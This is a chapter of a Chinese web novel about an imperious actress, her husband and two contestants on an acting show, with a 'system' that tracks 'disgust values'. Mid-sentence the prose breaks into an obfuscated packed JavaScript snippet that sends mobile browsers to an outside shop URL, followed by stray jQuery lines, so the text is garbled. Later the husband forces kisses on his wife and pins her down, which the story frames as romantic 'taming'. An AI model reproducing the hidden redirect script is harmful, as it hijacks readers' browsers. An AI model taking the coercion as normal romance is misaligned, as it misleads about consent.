35. 第35章

作品:《我就是恶毒,不服受着

    “但是,”阮清池话锋一转:“你难道就甘心,顶着‘演技灾难’、‘花瓶’、‘可怜虫’的名头,像只丧家之犬一样,被赶下这个舞台,坐实所有人对你的嘲笑吗?”


    她的声音不高,却像重锤一样,一字一句砸在白婉婉心上!


    “想想你这一个月在濯月台割过的草坪,擦过的淤泥,想想你被人踩在脚下的尊严!”阮清池的眼神锐利如刀,“现在,机会就在你脚下,哪怕它再渺茫!告诉我,你是要继续当个一碰就碎的废物,还是……”


    她顿了顿,缓缓吐出两个字:“……爬起来?”


    爬起来?


    这两个字,像一道惊雷在白婉婉脑海中炸开!


    濯月台的屈辱,网络的嘲讽,父母的逼迫,宋即白的退缩,沈砚的鄙夷……所有画面在她眼前飞速闪过!


    极致不甘和愤怒的火焰,猛地从她心底最深处窜起,瞬间烧毁了她的恐惧和怯懦!


    不!她不要!她不要再做可怜虫!她不要再被任何人看不起!


    她的眼泪瞬间止住,眼神从空洞无助变得异常明亮,甚至带着一股狠劲!她死死咬住下唇,几乎要咬出血来。


    她没有回答阮清池的话,而是猛地转过身,背对评委,面向空荡荡的观众席。


    她闭上了眼睛。


    整个演播厅鸦雀无声,所有人都屏息看着台上那个好像突然变了一个人的女孩。


    几秒钟后,她缓缓睁开眼。


    那双眼睛里,不再是白婉婉的惶恐,而是属于《青衣》里那个名伶的,饱经沧桑,被挚爱背叛后的心如死灰,以及濒临疯狂的执念。


    她没有哭,甚至没有太大的动作,她只是微微抬起下巴,眼前不再是空荡的座椅,而是座无虚席的戏园子。


    她虚虚地抬起手,仿佛拈着兰花指,朱唇轻启,一段无声的唱腔在她喉间哽咽。


    没有台词,没有唱词,只有她微微颤抖的身体,逐渐泛红的眼圈,和那双盛满了巨大悲痛,不甘,最终归于一片虚无死寂的眼睛!


    她慢慢地,慢慢地跪坐下去,手指颤抖地按在戏台,片刻,她抬起头,望着虚空,露出一个似哭似笑的疯狂的表情,然后,身体软软地倒了下去……


    表演结束。


    她依旧保持着倒地的姿势,肩膀微微起伏,沉浸在那种极致的情绪释放中。


    演播厅里,落针可闻。


    严明原本严肃的脸上露出了惊愕,郭导紧皱的眉头松开了,苏蔓捂住了嘴,陆熙也坐直了身体。


    直播间弹幕出现了短暂的空白,随即疯狂滚动:


    【……我靠?刚才那是白婉婉?】


    【鸡皮疙瘩起来了!她最后那个眼神!】


    【虽然还很青涩,但有内味儿了!和刚才完全不是一个人!】


    【是阮清池!是她那几句话把白婉婉骂醒了!】


    【这算什么?激将法?但真的好有用!】


    【黑转路了!至少她挣扎了!】


    【阮清池牛逼!(破音)】


    阮清池看着台上依旧沉浸在情绪中的白婉婉,唇角几不可查地弯了一下。


    【叮!白婉婉在极度羞辱与您的激将下,突破心理障碍,完成首次真实情感投入的表演!自我认同感提升!对您的复杂情绪加剧,怨恨中混杂强烈震撼与一丝被指引的茫然和感激?厌恶值降低!当前厌恶值76%!】老六激动地汇报。


    严明深吸一口气,率先开口,语气缓和了许多:“……虽然技巧依旧粗糙,但这一次,我看到了‘真’东西,情绪是对的,那股子绝望和疯劲,出来了。”


    郭导也点了点头:“像点样子了,总算没白费阮老师一番点拨。”他意味深长地看了阮清池一眼。


    最终,白婉婉惊险地没有被灭灯,进入了待定区。


    她走下台时,腿还是软的,但眼神却不再空洞。


    她经过评委席时,飞快地看了阮清池一眼,那眼神里有残留的恐惧,有劫后余生的庆幸,更有感激?


    接下来,轮到沈砚上场。


    他抽到的是一段□□大佬在兄弟全部惨死,自己穷途末路时,一边癫狂大笑一边烧毁证据的戏份。


    这需要极强的爆发力和对复杂人性的刻画。


    沈砚的准备显然充分很多,他本身就带有一种亦正亦邪的气质,上台后,他将那种穷途末路的疯狂,对兄弟的不舍,对仇人的恨意,以及最终与一切同归于尽的决绝,演绎得层次分明,张力十足!


    表演结束,几位评委都不吝赞美。


    严明:“情绪饱满,爆发力强,细节处理也可圈可点。不错!”


    郭导:“是块好料子!比某些滥竽充数的强多了!”


    苏蔓和陆熙也给予了肯定。


    沈砚脸上露出了自信的笑容,目光再次不受控制地飘向阮清池,带着期待。


    阮清池却只是淡淡地看着他,没有立刻评价,她微微歪头,仿佛在思考什么。


    就在所有人都以为她会给出好评时,她却开口了:“表演痕迹太重。”


    沈砚脸上的笑容瞬间僵住。


    “你的恨,你的疯,你的绝望,都像是精心设计好的程序。”阮清池的目光仿佛能看透他的灵魂,“你在‘演’一个疯子,而不是,你就是那个疯子。”


    她顿了顿,一字一句地问:“沈砚,剥掉你沈家公子的外壳,撕掉你精心维持的伪装,你内心深处,那个真实,不被任何人看见的,或许连你自己都不敢面对的疯狂在哪里?”


    “让我看看。”


    这番话,比任何严厉的批评都更让沈砚心惊!她这是将他整个人从里到外剥开,看到了他隐藏在完美表演下那份源于出身和过往经历的真实阴暗面!


    他脸上的血色一点点褪去,眼神剧烈闪烁,一种被彻底看穿的恐慌和莫名的兴奋感交织在一起!


    【叮!沈砚因被您精准戳穿表演本质与内心隐秘,产生巨大震撼与被理解的战栗!忠诚度与归属感急剧提升!厌恶值降低!当前厌恶值32%!】老六再次播报。


    直播弹幕也再次沸腾:


    【阮清池这点评听起来好吓人,但怎么觉着有内情啊!】


    【她好像能看透人心!但表演不就表演吗?沈砚刚才的表情绝了!】


    【说什么呢?神神叨叨的!鸡蛋里挑骨头还是蓄意报复?】


    【所以她不是在针对谁,她是真的在用一种变态的标准在衡量所有人?】


    而此时,在季氏集团顶楼的办公室内,季临川确实正看着电脑上的直播画面。


    他看着阮清池三言两语就将白婉婉从崩溃边缘拉回,又精准地撕开沈砚的伪装,深邃的眼眸中情绪翻涌。


    他发现自己越来越看不懂这个女人,她时而冷酷如魔,时而又会给予一线生机。


    她看似随心所欲,却每一步都精准地踩在人心最脆弱或最关键的节点上。


    这种神秘的感觉,让他心中的某种执念,如同藤蔓般越缠越紧。


    第一轮竞演结束,有人欢喜有人愁。


    白婉婉和沈砚都侥幸过关,但他们都清楚,真正的考验,才刚刚开始,而阮清池的评判标准,远比他们想象的更加严苛,也更加直击他们内心最柔软,最不肯示人的地方。


    节目录制结束后,阮清池婉拒了节目组的庆功宴,径直走向出口。


    刚踏出演播大楼,那辆熟悉的黑色劳斯莱斯便无声地滑至她面前。


    车门打开,映入眼帘的竟是季临川本人,侧脸在车内灯光下显得有些晦暗不明。


    阮清池眉梢微挑,并未多言,弯腰坐进后排,车内立刻弥漫开她身上淡淡的冷香。


    车子平稳汇入车流,却不是回濯月台的方向。


    “累了?带你去吃点东西。”季临川率先打破沉默,目光却透过车内后视镜,沉沉地落在她脸上。


    阮清池慵懒地靠坐着,闭目养神:“不必,不想吃,回去。”


    季临川打了方向盘,转向回濯月台的路。


    车内再次陷入寂静,但这寂静之下,涌动着难以言喻的暗流。


    行驶了一段,季临川终于还是没忍住,他关掉了车内轻缓的音乐:“今天的节目,我看了。”


    “嗯。”阮清池依旧闭着眼。


    她这种全然不在意的态度,让季临川胸腔里堵着的那股气愈发躁动,他握紧了方向盘,骨节泛白。


    “《拼的就是演技》这个项目,你当初让我投,我投了。”他尽量让自己的语气保持平稳,“我本以为,你是戏演腻了,想换个赛道。”


    他顿了顿,声音有些涩:“但我没想到,你是为了沈砚和白婉婉。”


    阮清池终于缓缓睁开眼,透过镜子与他对视:“是又如何?”


    “为什么?”季临川终于问出了这个盘旋在他心头已久的问题:“白婉婉,你明明厌恶她,是因为她之前和我的那些传闻?你以为我和她……”


    他想解释,那些所谓的暧昧,不过是白婉婉一厢情愿的靠近和他出于对季骁老师的客气,他从未逾矩,甚至觉得这种误会本身就很无聊。


    他季临川若真对哪个女人有兴趣,何须如此迂回?


    阮清池却轻笑出声,打断了他尚未出口的解释。


    “季临川,”她念着他的名字,“你以为,本座在意的是你那点无聊的男女关系?”


    她微微前倾,目光锐利如刀:“本座厌恶她,是因为她软弱,愚蠢,像一株只会依附他人生存的菟丝花,却还自以为是,碍了本座的眼,我出手,不过是随手修剪掉一株不合格的盆景,让她认清自己的位置,是烂在泥里,还是挣扎着长出属于自己的骨头。”


    她看着他眼中闪过的愕然,无动于衷:“至于你和她有无瓜葛,与我何干?你未免太高看自己了。”


    这番话像一盆冰水,将季临川心头那点因她可能“吃醋”而产生的隐秘期待,浇得透心凉。


    原来,她从未将他纳入那种需要“在意”的范畴。


    一股无名火猛地窜起,他猛地踩下刹车,将车子停在僻静的路边,转身,目光沉沉地锁住她:“那沈砚呢?你对他,又是什么?别告诉我,你看不出他对你那点龌龊的心思!”


    这是他第一次如此直白地问及她和沈砚的关系,还是用这种质问的语气。


    阮清池迎着他愠怒的目光,非但没有动气,反而像是看到了什么极其有趣的事情,唇角微翘。


    “沈砚?”她轻轻咀嚼着这个名字,“他比白婉婉聪明些,懂得审时度势,他清楚地知道,在本座面前,他该是什么位置。”


    她目光冰冷的落在季临川脸上,一字一句道:“就像你一样,季临川。”


    季临川瞳孔猛地一缩,心脏一阵抽疼。


    “你们本质上并无不同,都是妄图得到更多的臣服者,”阮清池的声音平静得可怕,“唯一的区别在于,他认命得比你早,也比你更懂得如何取悦本我。”


    臣服者?!


    这三个字像惊雷一样在季临川脑海中炸开!他堂堂季临川,季氏帝国的掌舵者,在她眼里,竟然和沈砚那个玩意儿一样,只是个臣服者?!


    “至于你问,我对他是什么?”阮清池仿佛没看到他骤然变得铁青的脸色,继续用那种漫不经心却又致命的口吻说道,“一件尚算顺手的玩具,一条还算忠诚的狗,本座心情好时,便赏他根骨头,看他摇尾乞怜,倒也有趣。”


    她看着季临川,那眼神好像在说:至于你呢?你连做狗,都还学不会摇尾巴。


    “阮清池!”季临川几乎是低吼出声,额角青筋暴起,“你把我当什么?!”


    “把你当什么?”阮清池像是听到了一个极其可笑的问题,她甚至毫不掩饰得低低地笑了起来,笑声在密闭的车厢里回荡,带着令人心寒的魔力,“季临川,你莫非以为,我与你维持这段关系,是因为爱你?”


    她凑近他,红唇几乎要贴上他的耳廓,温热的气息喷洒在他敏感的皮肤上,说出的话却冰冷刺骨:


    “别做梦了。”


    “我留你在身边,不过是因为你这副皮相尚可入眼,床笫之间的表现也还算差强人意。”


    她直起身,恢复了一贯的冷漠疏离,好像刚才那句诛心之言只是随口一提。


    “记住你的身份,季临川。”她警告他,“做好你的臣服者,取悦我,不要试图挑战我的底线,更不要妄想压我一头。”


    她顿了顿,红唇轻启,吐出最后一句:


    “否则,我不介意,换个人。”


    【叮!季临川遭受巨大情感冲击与尊严践踏!愤怒值,屈辱值飙升!但核心认知被强行扭转!厌恶值波动后,因认清自身定位,及您的绝对强势,反而降低了?!当前厌恶值20%!居然跌了不少,奇怪!】老六难以置信。


    季临川死死地盯着阮清池,胸膛剧烈起伏,那双深邃的眸子里翻涌着惊涛骇浪,有被羞辱的暴怒,有信念崩塌的茫然,更有一种被彻底看穿,无处遁形的绝望。


    她竟然如此轻描淡写地否定了他们之间的一切!将他的情感,他的骄傲,他所有隐秘的期待,都踩在脚下,碾得粉碎!


    “好……好得很!”他从牙缝里挤出几个字,声音嘶哑,猛地重新发动车子,油门一踩,性能优越的豪车如同离弦之箭般蹿了出去,以一种近乎失控的速度驶向濯月台。


    一路无话,车内的空气压抑得让人窒息。


    回到濯月台,季临川摔上车门,大步流星地走在前面,周身散发的低气压让迎上来的张管家和佣人都噤若寒蝉,不敢靠近。


    他径直上楼,回到卧室,阮清池则慢悠悠地跟在后面。


    一进卧室,季临川便猛地拉开书桌抽屉,从里面拿出一份文件,用力摔在了阮清池面前的沙发上!


    那是——离婚协议。


    “你不是一直想要吗?”季临川站在她面前,眼神冰冷,以一种破罐破摔的决绝指着协议说道,“签了它!如你所愿!”


    他紧紧盯着她的脸,不放过她任何一丝细微的表情变化。


    他内心深处还残存着一丝连自己都不愿承认的期待,期待她会犹豫,会拒绝,哪怕只是流露出一丝不悦!


    然而,阮清池只是淡淡地瞥了一眼那份协议,抬眸看向他,唇角微翘,嗤笑道:“终于舍得拿出来了?”


    她没有丝毫迟疑,甚至没有去看协议的具体条款,走到书桌前,拿起笔,在乙方签名处,利落地签下了自己的名字,阮清池。


    三个字,翩若惊鸿,婉若游龙,却带着斩断一切的决绝。


    笔尖离开纸张的瞬间,季临川感觉自己的心脏像是被那支笔狠狠刺穿!所有的血液在瞬间凝固!


    她……竟然签了?!如此爽快?!甚至连一秒的犹豫都没有?!


    巨大的失落和恐慌如同海啸般瞬间淹没了他!他原本以为的解脱、反击,在这一刻变成了一个天大的笑话!他亲手递出的刀,被她毫不犹豫地用来斩断了他们之间最后一丝名义上的联系!


    “你……”他喉头干涩,几乎发不出声音。


    阮清池将签好的协议随手丢回沙发上,好像那只是一张废纸。


    “满意了?”她看着他脸上


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16814493|189913||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    那来不及掩饰的错愕与后悔,眼神里没有丝毫温度,“现在,可以请你出去了吗?本座要休息了。”


    季临川僵在原地,看着她转身走向浴室的高傲背影,感觉自己像个彻头彻尾的小丑。


    他所有的愤怒、所有的骄傲,在她绝对的冷静和漠然面前,不堪一击。


    他张了张嘴,想说什么,却发现任何语言在此刻都显得苍白无力。


    最终,他什么也没说,只是深深地看了她一眼,那眼神复杂到了极致——愤怒,不甘,后悔,更有一种连他自己都无法理解的,被彻底剥离后的空洞。


    他缓缓弯腰,捡起那份已经被她签署的离婚协议,纸张在他手中变得无比沉重,然后,他转身,一步一步地走出了卧室,轻轻带上了房门。


    他并没有立刻离开,像是被抽走了灵魂,僵硬地站在门外走廊的阴影里,一种前所未有的恐慌和虚无感攫住了他。


    他失去了她,不是离婚,毕竟离婚协议他还没签字,而是,她原本就从来没有属于过他。


    【叮!季临川在极度的后悔中,彻底认清您不可动摇的地位与自身情感的深度依赖!厌恶值再次大幅降低!当前厌恶值10%!大佬,这一下降低了10%……他好像,真的认命了?还是他爱上你了?】


    阮清池站在花洒下,温热的水流冲刷着身体,听着识海里系统的播报,缓缓闭上了眼睛。


    水汽氤氲中,她陷入沉默,并没有回答系统。


    门外,季临川不知站了多久,直到双腿麻木,才如同梦游般,踉跄着离开了,走进了黑暗的书房。


    ***


    翌日清晨,阮清池洗漱好拉开卧室门,便是一顿。


    门口,季临川直挺挺地站在那里,向来一丝不苟的俊脸上,此刻布满了疲惫,眼下是浓重的青黑,下巴冒出了泛青的胡渣,尤其是那双深邃的眼眸,布满了骇人的红血丝,此刻正死死地盯着她。


    【大佬!他半夜就过来,几乎在您门口站了一夜!】老六也很意外。


    阮清池眉梢微挑,她并未开口,只是静静地看着他。


    她的平静,深深刺痛了季临川,他喉结艰难地滚动了一下,干裂的嘴唇翕动,声音沙哑得如同破锣:


    “……清池。”


    他手中紧紧攥着的,正是那份已经由阮清池签好字的离婚协议,纸张被他捏得皱巴巴,边缘甚至有些撕裂。


    “这个……”他举起协议,手臂有些颤抖,“不作数。”


    阮清池冷笑:“季总这是出尔反尔?白纸黑字,你当我签着玩?”


    “我后悔了,”季临川盯着她,眼眶更红了,“昨晚,是我混蛋!我不该……”


    “你不该什么?”阮清池打断他,语气轻飘飘的,却带着千斤重压,“不该拿出协议,还是不该在我签字后,才意识到自己舍不得?”


    她的话像刀子,精准地剖开他试图掩饰的狼狈。


    季临川被噎得呼吸一窒,所有准备好的道歉和解释都卡在喉咙里。


    “离婚,是你提的,字,我也签了,”阮清池向前一步,逼视着他,“现在,你说不作数就不作数?季临川,你以为你是谁?本座的规则,由得你来回更改?”


    她眼神里的冷漠和嘲讽毫不掩饰。


    “不……不是……”季临川猛地摇头,情绪骤然失控,他上前一步,几乎是凭借本能,伸出双臂,带着一股不容抗拒的力道,猛地将阮清池紧紧抱在怀里!


    他的怀抱滚烫而用力,像是要将她揉碎嵌入骨血。


    “我不离婚!阮清池,我不准!”他把脸埋在她颈窝,声音闷哑,“你说我是什么都好,臣服者,玩具,什么都行!别推开我……”


    阮清池被他紧紧箍着,没有立刻挣扎,但身体僵硬。


    “松开。”她的声音冷了下去。


    “不松!”季临川抱得更紧,像是一松手她就会消失。


    他沿着她的脖颈向下亲吻,湿热的吻混合着胡渣的粗粝感,落在她敏感的皮肤上。


    他在试图取悦她,只因她昨晚提到过,他床笫之间的表现也还算差强人意。


    “放开!”阮清池怒喝,开始用力推拒他。


    但季临川仗着体型和力气的优势,半强迫地拥着她,倒退着进入了卧室,反脚“砰”地一声踢上了门!


    他将她压在了柔软的大床上,沉重的身躯覆上来,禁锢着她的行动。


    他的吻变得更加急切和混乱,不再局限于脖颈,开始向她的脸颊、嘴唇进攻,大手也急躁地在她身上游走,试图撩起她的裙摆。


    “季临川!”阮清池彻底怒了,眸中寒光乍现,屈起膝盖就要顶向他脆弱之处!


    季临川早有防备,死死压住她的反抗。


    他抬起头,赤红的眼睛盯着她:“你不是说,我这方面还可以吗?”


    他的声音因为情欲和激动而断断续续,“那我就做到你改变主意为止!”


    说完,他再次俯身,攫取了她因呵斥而微张的唇瓣,不再是昨晚车内的冰冷对峙,而是一个充满了掠夺、惩罚和卑微祈求的吻。


    阮清池的挣扎在他的绝对力量压制下,显得有些徒劳。


    【大佬!他这是色诱啊!用您肯定过的唯一‘优点’进行终极挽回!】老六看热闹不嫌事大,【物理层面反抗成功率低于30%,建议启动神识威慑!】


    阮清池冷笑:神识威慑?那太无趣了。


    她停止了徒劳的反抗,身体微微放松下来,但眼神依旧冰冷如霜,任由他亲吻,仿佛一具没有灵魂的精致人偶。


    季临川察觉到她的变化,动作微微一滞。


    他撑起身,看着她眼神中的怜悯和嘲弄,那颗被欲望和绝望充斥的心,像是被瞬间冻僵。


    “做啊。”阮清池十分平静,“不是要让我改变主意吗?”


    她甚至微微抬了抬腰,迎合了他一下,动作却充满了轻蔑的施舍意味。


    “看看你这副样子,季临川。”她的目光扫过他猩红的眼,凌乱的头发,因急切而泛红的脸,“像一只被抛弃后,只会摇尾乞怜,试图用身体挽留主人的丧家之犬。”


    “你以为,这样就能让本座回心转意?”


    她伸出手,冰凉的指尖轻轻划过他滚烫的脸颊。


    “你昨晚的骨气呢?那份摔协议的决绝呢?这么快,就只剩下这点本事了?”


    季临川的身体彻底僵住,所有的动作都停了下来。


    他看着她眼中的冰冷,一股巨大的羞耻感和无力的绝望涌上心头。


    他意识到,他不仅没能取悦她,反而在她面前,将自己最后一点尊严,也剥落得干干净净。


    他真的成了一只她眼中可怜又可笑的摇尾乞怜的狗。


    所有的力气仿佛瞬间被抽空,他颓然地从她身上翻下,踉跄地跌坐在床边。


    他输了,一败涂地。


    阮清池慢条斯理地整理了一下被弄乱的睡裙,坐起身,看着床边那个彻底崩溃的男人,眼神没有丝毫动容。


    “现在,清醒了吗?”她冷冷地问。


    季临川没有回答,垂着头。


    阮清池站起身,居高临下地看着他:“把你这副狼狈样子收拾干净,至于离婚协议……”


    她顿了顿,看着他骤然抬起的头,唇角微勾:“我心情好的时候,或许会考虑把它当成废纸。”


    说完,她不再看他,走出卧室。


    【叮!季临川尊严彻底粉碎,意识到任何反抗与算计在您面前皆徒劳,厌恶值降低!当前厌恶值10%!大佬,恭喜您,驯服即将达成!】